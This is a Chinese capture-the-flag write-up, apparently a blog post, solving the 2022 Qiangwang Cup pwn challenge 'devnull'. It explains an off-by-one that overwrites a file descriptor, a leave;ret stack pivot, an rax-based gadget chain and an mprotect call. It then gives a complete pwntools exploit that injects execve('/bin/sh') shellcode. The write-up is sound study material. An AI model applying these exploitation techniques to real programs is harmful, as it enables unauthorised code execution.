话说移栈这个事很少见了,因为大家都熟了。今天这个看似没难度,但突然发现机子上的libc-2.31比要求的libc-2.34小,然后这个程序就不能运行了。实际上这个题本身跟版本没以任何关系,感觉就是卡那些系统没有升级的人。比赛当中没什么人改去更新libc

完事以后把libc更新到2.35然后这个程序就能运行了。

int sub_40138F()
{char s[32]; // [rsp+0h] [rbp-40h] BYREFint fd; // [rsp+20h] [rbp-20h]int v3; // [rsp+24h] [rbp-1Ch] BYREFvoid *buf; // [rsp+38h] [rbp-8h]puts_0("/deb/null may cause some error\n");stream = fopen("/dev/null", "rb");fd = dword_404028;                            // 3if ( !stream ){puts_0("error\n");exit(1);}buf = malloc(dword_404010);puts_0("please input your filename\n");fgets(s, n, stdin);                           // n=21 写溢出,将fd改为0puts_0("Please write the data you want to discard\n");if ( read(fd, &v3, dword_404014) )            // 2c 14+buf+rbp+ret 修改buf指和bss,修改rbp指向buf+8,修改ret为leave ret移栈{sub_4012B6();                               // bss设置成只读puts_0("please input your new data\n");if ( !read(fd, buf, dword_404010) )         // 0x60 向buf里写入ropexit(1);puts_0("Thanks\n");                         // 输入7个字符,此时rdx=7return close(1);                            // 调用 write(2,got['write'],8) 泄漏,重入后}else{puts_0("no junk data?\n");puts_0("please input your new data\n");read(0, buf, dword_404010);return sub_4012E0(s, buf);}
}

程序很短,也很明了,一开始fgets(s,n,stdin); 其实s定义的是0x20,但这里n=0x21所以当输入一个长为0x20的串时会在最后加一个\0,这样就把后边的fd给覆盖掉了,原本程序是从随机数读的语句就变成从标准输入读

第二步是向v3读入,并且这里也有溢出,通过这个溢出可以将数据写到后边的buf,rbp,ret 长度刚刚好(再少4字节也能转),所以在这里覆盖buf改为要写入的位置,rbp覆盖为移栈的位置,ret覆盖为leave;ret实现移栈。

这里还有个问题,一般移栈会移到bss但这个题会把bss设置为只语。但却把程序加载起始位置设置为读写。那么移栈就只能移到这里了 0x3fe000

另外一个卡点是会文没有pop rdi;ret所有的rdi都是通过rax填充,那么就需要找个能填充rax的值,这里是这句

0x0000000000401350 : mov rax, qword ptr [rbp - 0x18] ; leave ; ret

移栈以后rbp指向的内容都是咱自己写的,所以可以在这里构造出rdi的效果

  1. rbp->bss0+0x28
  2. mov rax,[rbp-0x18];leave;ret 再次移栈将读入bss0+0x28到rax中
  3. rdi要放入的值 bss0
  4. 0x10字节没用
  5. 第二次移栈的位置,rbp没用填0
  6. 第二次的ret的值,在这里执行_mprotect去掉rax的部分(前边已经放入),这里会执行mov rdi,rax将想要放入的值传到rdi然后执行mportect(放入的rdi,rsi=x1000, rdx=7)
    1. 这里执行了一次puts_0('Thinks\n')函数,在函数里把串长度赋给了rdx所以这里rdx为7正好执行
  7. 再下一个的rbp没用,后边ret是个指针跳到后边的shellcode
  8. 在这里写shellcode

完整的程序

from pwn import *p = process('./pwn')elf = ELF('./pwn')
context(arch='amd64', log_level= 'debug')#gdb.attach(p, "b*0x40150b")
#pause()p.sendafter(b"please input your filename\n", b'A'*0x20)  # A\0 => fd = 0bss0 = 0x3fe000
leave_ret = 0x401511
pay = b'A'*0x14 + flat(bss0,bss0, leave_ret) #buf,rbp,ret
p.sendafter(b"Please write the data you want to discard\n", pay)rbp_18 = 0x0000000000401350 # mov rax, qword ptr [rbp - 0x18] ; leave ; ret
mprotect = 0x4012d0 #: mov esi,0x1000;mov rdi,rax;call _mprotect; ret
pay = flat(bss0+0x28, rbp_18, bss0,b'/bin/sh\x00',0,  0, mprotect, 0,bss0+0x48) + asm(shellcraft.execve(bss0+0x18,0,0))
p.sendafter(b"please input your new data\n", pay)sleep(1)
p.sendline(b"exec 1>&2")
p.interactive()

[2022 强网杯] devnull 复现相关推荐

  1. 【Reverse】2022 强网杯 game

    [Reverse]2022 强网杯 game 前言 复现一下这题,因为手头有环境可以学学.强网的时候根本没看. backup还原 直接GitHub的链接 可以还原出apk 摸瓜分析 在线网站分析 发现 ...

  2. 2022强网杯 Quals Reverse 部分writeup

    Game native层其实只有加解密的两个函数,所以没怎么逆,直接用frida hook 由于有root检测和frida检测,换个端口启动 ./frida-server-15.1.8-android ...

  3. 2022强网杯青年赛MISC1和MISC3,Crypto2 部分writeup

    MISC1 下载附件,题目提示为万能和弦 图片不能正常打开 用010editor打开文件,发现是一大堆密文 去我常用的在线网站解密,这个网站可以自动转很多格式,很方便,在ascii码界面可以看到,是p ...

  4. 2022强网杯线上赛 qmachine

    附件下载链接 逆向还原 分析可知程序的大致逻辑如下: #include <stdio.h> #include <stdlib.h> #include <string.h& ...

  5. [强网杯2021]XBUUCTF[QWB2021 Quals]popmaster复现记录

    给自动化代码审计的大佬跪了. 出题人写的WP在这里:强网杯[pop_master]与[陀那多]赛题的出题记录 复现可以到BUUCTF,启动[QWB2021 Quals]popmaster这道题就ok. ...

  6. 强网杯2021 misc 复现

    对强网杯BlueTeaming.ISO1995.CipherMan.Threebody的复现 (纯萌新学步) 可以参考mumuzi大佬的wp https://blog.csdn.net/qq_4288 ...

  7. 2020强网杯部分题目复现

    本文目录 前言 强网先锋 Funhash 主动 upload web辅助 miscstudy 总结 前言 代码烂,游戏菜,天天等着大佬带.这次做出来三道题,无缘线下赛了,看来以后要找个大腿抱着才行(开 ...

  8. [网络安全提高篇] 一一〇.强网杯CTF的Web Write-Up(上) 寻宝、赌徒、EasyWeb、pop_master

    强网杯作为国内最好的CTF比赛之一,搞安全的博友和初学者都可以去尝试下.首先,让我们观摩下这些大神队伍,包括0x300R.eee.0ops.AAA.NeSE.Nu1L等,真的值得我们去学习.其次,非常 ...

  9. 强网杯Web部分review

    0x01 上个月强网杯结束,看了一下Web题目,代码审计及php 反序列化等.本着学习的态度,试着本地复现一下.靶机下载:https://github.com/glzjin/qwb_2019_uplo ...

最新文章

  1. 气温上升影响数据中心节能
  2. C++数据结构链表的基本操作
  3. HTML让文字在界面居中,HTML怎么让文字居中
  4. 【Java 新建项目】使用程序对新项目的各个实体 创建Dao、DaoImpl、Service、ServiceImpl层的文件...
  5. Bootstrap系列 -- 28. 下拉菜单状态
  6. SAP odata模型缓存校验机制
  7. [vue] 说说你对vue的mixin的理解,有什么应用场景?
  8. 在C++函数中使用__asm int 3和__debugbreak的调试
  9. select * from data where 姓名_SQL基础where
  10. java 整数相乘_Java中两个int相乘的结果是怎么算的?
  11. idea配置java和maven_Maven配置,使用IntelliJ IDEA和Maven创建Java Web项目
  12. python最速下降法
  13. compute和compute by
  14. 使用flex实现左中右布局,中间自适应
  15. 《东周列国志》第七十四回 囊瓦惧谤诛无极 要离贪名刺庆忌
  16. 做一篇美篇的计算机基础知识,怎么制作美篇-4个方法教你简单写出原创文章
  17. 小程序常用单位解释大全
  18. Win10便签在哪?Win10桌面便签怎么打开和使用?
  19. 4G PCIE网卡在英创ESM6800上的使用步骤
  20. 服务器运维用macos,MacOS和Linux区别_网站服务器运行维护,linux,macos

热门文章

  1. 【漏洞学习——SSRF】腾讯某处SSRF漏洞(非常好的利用点)附利用脚本
  2. 产品概念之2/4:三层次理论 —— 生产者主导视角的产品概念
  3. 树莓派声音输出设置_Raspberry Pi(树莓派)声音输出的设置
  4. Hook函数三步走(SetWindowsHookEx、UnhookWindowsHookEx、CallNextHookEx)
  5. 二进制及二进制的转换
  6. 教务系统自动评教_新版正方教务管理系统自动评教脚本
  7. mysql 简述pk uk fk 的区别和对数据库性能的影响_数据库pk fk ak
  8. 【程序员股民系列】如何用python, pandas, numpy, matplotlib绘制每日行业成交额图
  9. 学习编程应该最基本的是学习什么
  10. Android Native层